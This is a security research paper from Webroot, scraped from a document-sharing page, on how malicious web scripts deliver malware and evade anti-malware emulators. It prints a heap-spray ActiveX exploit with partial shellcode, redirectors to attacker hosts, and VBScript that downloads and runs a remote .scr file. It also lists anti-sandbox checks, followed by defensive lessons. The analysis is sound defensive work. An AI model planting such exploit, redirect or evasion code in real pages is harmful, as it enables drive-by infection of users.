Second Generation Malicious Scripts

Second Generation Malicious Scripts
Rajesh Mony, Webroot Software Inc
Introduction
Web is the predominant infection vector today with over 70 percent of attacks happening
over the web. Large presence of unpatched browsers and browser plug-ins provide very
good attack success ratios. Client side scripts embedded in web pages tend to be the
major enablers of these attacks. As anti malware industry steps up its effort to protect
against these malicious scripts, they are turning very innovative in their delivery,
obfuscation and evasion techniques.
This paper provides analysis of various techniques used by current generation of

malicious scripts to successfully deliver a malware, while evading detection by anti-
malware solutions. We will go on to discuss advances in detection technologies for
countering these techniques.
Exploits and Shellcodes

Drive-by-download attacks using javascripts exploiting browser and plug-in
vulnerabilities allow most seamless delivery of malware without depending on user
actions. Heap spraying technique developed by Skilined allows for reliably delivering
successful exploits. The code snippet shows a typical exploit code that employs heap
spray.
<body onload="JavaScript: return Check();">

<object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="obj">
Unable to create object
</object>
</body>
function Check()
{
var shellcode1 =
unescape("%u9090%u6090%u17eb%u645e%u30a1%u0000"+"%u0500%u0800%u0000%uf88b.
………………………………………………………………………………………………………………..
e61%u3633%u2e30%u6f63%u2f6d%u7230%u326c%u652e%u6578%u0000");
var bigblock=unescape("%u0C0C%u0C0C");
var headersize=20;
var slackspace=headersize+shellcode1.length;
while(bigblock.length<slackspace)
bigblock+=bigblock;
var fillblock=bigblock.substring(0,slackspace);
var block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace < 0x40000)
block=block+block+fillblock;
var memory=new Array();
for(i=0; i<400; i++) {
memory[i] = block+shellcode1
}
Var buf =”;
While(buf.length<32)
Buf=buf+unescape(“%0C”);
Var m=”;
M=obj;
Console;
Obj.Console=buf;
Obj.Console=m;
M=obj.Console;
Obj.Console=buf;
Obj.Console=m
}
Typically such a script found in the wild is super obfuscated as a first level of defense
from detection. Scripts employ several techniques on top of this to evade detection even
after decryption.
There are several shellcode encryptors available with anti static and dynamic analysis
which will prevent easy identification of shellcode elements in the script. The ascii
encoded shellcodes like alpha family makes the task even more difficult because of false
positive concerns.
The rest of the code as we can see is dynamic code which allows making pattern
identification very challenging. Dynamic script generation using DOM document class is
another method actively used by attacks in the wild to evade detection. Such techniques
are effective in wearing down the detection logic and also effective in throwing off
heurists that determine if code is decrypted.
document.writeln("<SCRIPT language=\"JavaScript\">");
document.writeln("var goodflow = \"%u9090%u6090\") ;
document.writeln("\"%u17eb%u645e%u30a1%u0000\" +");……….
document.writeln("</SCRIPT">");
Distributed Scripts
1. Redirectors and super exploit scripts

The prevalence of server side vulnerabilities have made it possible for attackers’
widespread planting of JavaScript code in benign web sites. Recent statistics show as
much as 10% of attacks originates from benign websites. Placing script based redirectors
in such compromised web pages to redirect traffic to the exploit site allows better
maintainability for these attacks. These redictor scripts are typically encrypted and use
hidden iframe or remote script loading to achieve the redirection.
Document.write(“<iframe src=http://junk.cn/qu.htm width=0 height=0><iframe>”);
Document.write(‘<script src=’http://junk.cn/qu.js’></script>’) ;
Document.write(‘<style> * {cursor : url(‘http://junkcn/qu.htm’)} </style>’) ;
The most popular targets for these redirects are super exploit scripts which are capable of
exploiting several different vulnerabilities. They try exploits one after the other till it
succeeds. Exploit kits like mpack / icepack etc allow attack web sites to achieve plug and
play exploit integration.
2. Intermediate Reconnaissance Scripts

Usage of dynamic redirects and intermediate reconnaissance scripts are also seen.
Reconnaissance scripts enable serving of small and targeted exploit scripts. Following
snippet shows a sample check script which checks for existence of real player and
version and downloads the corresponding exploit.
function CheckAndRedirect() {
var user = navigator.userAgent.toLowerCase();
if(user.indexOf("msie 6") ==-1 && user.indexOf(“msie 7” ==1))

return;
VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1";

try{
Real = new ActiveXObject(VulObject);
}catch(error){return;}
RealVersion = Real.PlayerProperty("PRODUCTVERSION");
if(RealVersion.indexOf("6.0.10.") != -1)
Exploit = 1
……..
Switch (Exploit) {
Case 1:
Location.href = http://malfake.cn/exp1.htm;
Break;
……………..
}
}
3. Exploit Splitting
Many types of exploit splitting can be seen in the wild to evade detection. Using multiple
script sections, splitting between remote js files and embedded html, passing shellcode as
parameter to an event trigger are some of them. Following snippet from a real world
sample uses a bloated onload event parameter for splitting.
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<script type="text/javascript">
function ubYc37hHe(hvc3y5y7g, B32DS636x){var Ae6Jhd3a0 = arguments.callee;var
bNdsR3Fm2 = location.href;Ae6Jhd3a0 = Ae6Jhd3a0.toString();Ae6Jhd3a0 =
A6e85797e926d797a7079846F687678896E77799d6868797a6d747a6b686A787a6e7779
…………………………………………………………………………………………….
89A56f68687b7c79767c7B737879787075856b736A7B8699757c7B696b8389707D847e
727577A9797b7c696969837D6F747B7F92977B7B6DA77a6B6665768B98A8779f6664
696e72');
</script>
</head>
<body
onload="ubYc37hHe('97a9b0a8ABADB2a751a17989AC77AA6f83a86Aa6887b8a71a2
80B4796364B68663A6a3AA83959a62ACAAa3B7579D76a063688E8E7cBB63765195
B……………………………………………………………………………………………
707D847e727577A9797b7c696969837D6F747B7F92977B7B6DA77a6B6665768B98A
8779f6664696e72')">
</body>
</html>
4. Server side tricks

Several server side distribution tricks are used along with this model to target legitimate
victim machines. The techniques used include client fingerprinting techniques, ip
tracking to avoid repeated serving and white listing of suspect crawlers and proxies.
Multilingual Scripts
A class of JavaScript attacks that dynamically write exploit script block in another
scripting language (like vb script) is seen in the wild. This can easily throw off JavaScript
analyzers in anti malware engines.
<script LANGUAGE="Javascript">
document.write(unescape("%0D%0A%3Cscript%20language%3D%22VBScript
%22%3E%0D%0A%0D%0A%20%20%20%20on%20error%20resume%20next%0D%0
A%0D%0A%20%20%20%20%0D%0A%0D%0A%20%20 ...
D%0A%0D%0A%20%20%20%20%3C/script%3E%0D%0A%3C/html%3E"));
</script>
Code like this gets transformed into the following XML exploit in vbscript .
<script language="VBScript">
dl = "http://foto02122006.xxx.ru/foto.scr"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"") S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
Additional back and forth transformations can also be seen in the wild.
Defensive Scripting Against Emulators

Emulators based on spidermonkey are widely used in the anti malware industry to
analyze malicious web pages and scripts. The malicious scripts are starting to employ
several defensive scripting techniques to defeat analysis using such emulators.
1. Function Redefinitions
One typical technique analysis engines do is replace interesting functions like eval to
common debugging functions like print. Outputs from these functions provide
significantly less complex code for analysis. In most cases it might render completely
decrypted JavaScript code. JavaScript allows for redefinition of functions within the
script body. Many malicious scripts redefine debugging functions like print to local script
functions as an anti analysis technique. The alert in the code below results in exiting the
script.
<script>
var str="alpanert";
var str2=str.replace("pan","");
str2 = quit;
alert(str2);
</script>
2. Deliberate Syntax Errors

Web browsers are very resilient to script errors but most of the analysis engines
embedding JavaScript interpreters like spidermonkey are not. Malicious scripts take
advantage of this behavior and introduce syntax errors which will break these analyzers.
Example :
<script>
a && bi; function asd2 () {alert("two");}
</script>
<script>
asd = asd2; asd();
</script>
3. DOM Cross Checks

The implementation of the DOM objects is outside the scope of JavaScript engines like
Spidermonkey. It is typically the responsibility of the embedding applications to
implement it. The analysis engines typically implement only a set of DOM skeleton
objects. Attackers take advantage of this situation and test for full DOM implementation
from the script and exit on failure. Following are some of the defensive checks.
• Check for window.document = document . Document object can be

referenced via Window object in a full DOM implementation. That is not the
case with most JavaScript analyzers.
• document.location = location . Location object can be referenced via the
document object in a browser but not in most skeleton DOM implementations.
• Another one is self reference. window.self = window in a browser.
• Property persistence checks and intrinsic default property values are other
methods many scripts use to determine if it is a real browser.
• Set element objects in the html page and access back using the hard coded
name of the object from the JS page. This is not likely to work with stub
implementations of DOM.
<h1 id="myHeader" >Cross check element</h1>
<script>
function getElement()
{
if (document.getElementById ("myHeader").tagName == ‘h1’ )
malicious stuff….
}
</script>
• Global variable relationships to window object check.
var foo = “hacked”; if (window.foo == “hacked”) malicious stuff….;
4. Component Access Checks

Some form of data retrieval in the early part of the script before proceeding with
execution is an effective way to identify simulated environments like JavaScript
analyzers. The following code tries to retrieve real player version before proceeding with
execution.
VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Real = new ActiveXObject(VulObject);
}catch(error){ return;}
RealVersion = Real.PlayerProperty("PRODUCTVERSION");
……….
5. Download Cross Checks

Checking the depth of event processing by the embedding environment is a very good
test to check if it a browser. Typically this will involve using a trigger such as successful
download of an image for proceeding with further execution of scripts. The following
shows a typical script.
<script>
var loaded_image = 0;
function image_set() { loaded_image = 1; }
function do_mal { if (loaded_image == 1) malicious…….}
</script>
<img src=‘http//foooo//check.jpg’ onload=“image_set();”>
6. Check for Simulated Functions

Most JavaScript analyzers might be stubbing out timer related calls since it is time
sensitive. Malicious scripts use time cross checks within a timer handler as a precondition
for malicious behavior. The following code uses the JavaScript Date library to cross
check if it is a stub.
var crosscheck = Date().getTime();

var isBrowser = 0;
setTimeout("h()", 2000);
function h()
{
if (Date().getTime – crosscheck) >= 2000)
isBrowser = 1;
}
Lessons for Anti-malware

There are several lessens to be learnt from the current bag of tricks used by the malicious
scripts in shaping the next generation response technologies.
1. More thrust on plugging the exploit holes

Most of these scripts target well known vulnerabilities for which patches exist.
Automated detection / plugging these exploits can bring down the effectiveness of these
malicious scripts. Virtual patching and exploit detection technologies should help a lot.
2. Script analysis sandboxes

Analysis engines have to get closer to a complete DOM implementation to be able to
execute these scripts. They may also need to implement some minimal emulation of
popular plug-ins. They may have to behave closer to actual browsers with respect to error
processing and event handling.
3. Community based web reputation blacklists

These are typically web services that use virtual machine farms to do near real time
analysis of urls being accessed by community members and protect rest of the
community from the threat through url blacklists. Technologies like search result pre-
scan and web reputation based priority queues can further improve update speeds.
4. Dynamic Content Rewriting

Browser shield project from Microsoft Research proposes an interesting method that
relies on runtime safety checking using dynamically rewritten script.
References
1. Spidermonkey JavaScript-C engine. http://www.mozilla.org/js/spidermonkey/

2. Webroot Threat Research Center http://research.spysweeper.com/
3. Alexander Soritov’s blackhat paper https://www.blackhat.com/presentations/bh-
usa-07/Sotirov/Presentation/bh-usa-07-sotirov.pdf
4. Reverse engineering Malicious JavaScript. http://cansecwest.com/csw07/csw07-
nazario.pdf
5. Caffeine Monkey Project https://www.blackhat.com/presentations/bh-usa-
07/Feinstein_and_Peck/Whitepaper/bh-usa-07-feinstein_and_peck-WP.pdf
6. Billy Hoffman papers
https://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&
cp=1-11-201-200%5E14344_4000_100__
7. Microsoft Browser shield project
http://research.microsoft.com/displayarticle.aspx?id=1521
8. Browser Exploits http://en.wikipedia.org/wiki/Browser_exploit
9. Secunia browser exploit protection test results http://secunia.com/blog/29/

Second Generation Malicious Scripts

Загружено:

Сведения о документе

Исходное описание:

Авторское право

Доступные форматы

Поделиться этим документом

Поделиться или встроить документ

Параметры публикации

Этот документ был вам полезен?

Это неприемлемый материал?

Авторское право:

Доступные форматы

Second Generation Malicious Scripts

Загружено:

Авторское право:

Доступные форматы

Second Generation Malicious Scripts

Rajesh Mony, Webroot Software Inc

This paper provides analysis of various techniques used by current generation of

Exploits and Shellcodes

<body onload="JavaScript: return Check();">

1. Redirectors and super exploit scripts

2. Intermediate Reconnaissance Scripts

if(user.indexOf("msie 6") ==-1 && user.indexOf(“msie 7” ==1))

VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1";

4. Server side tricks

Defensive Scripting Against Emulators

2. Deliberate Syntax Errors

3. DOM Cross Checks

• Check for window.document = document . Document object can be

4. Component Access Checks

5. Download Cross Checks

6. Check for Simulated Functions

var crosscheck = Date().getTime();

Lessons for Anti-malware

1. More thrust on plugging the exploit holes

2. Script analysis sandboxes

3. Community based web reputation blacklists

4. Dynamic Content Rewriting

1. Spidermonkey JavaScript-C engine. http://www.mozilla.org/js/spidermonkey/

Вам также может понравиться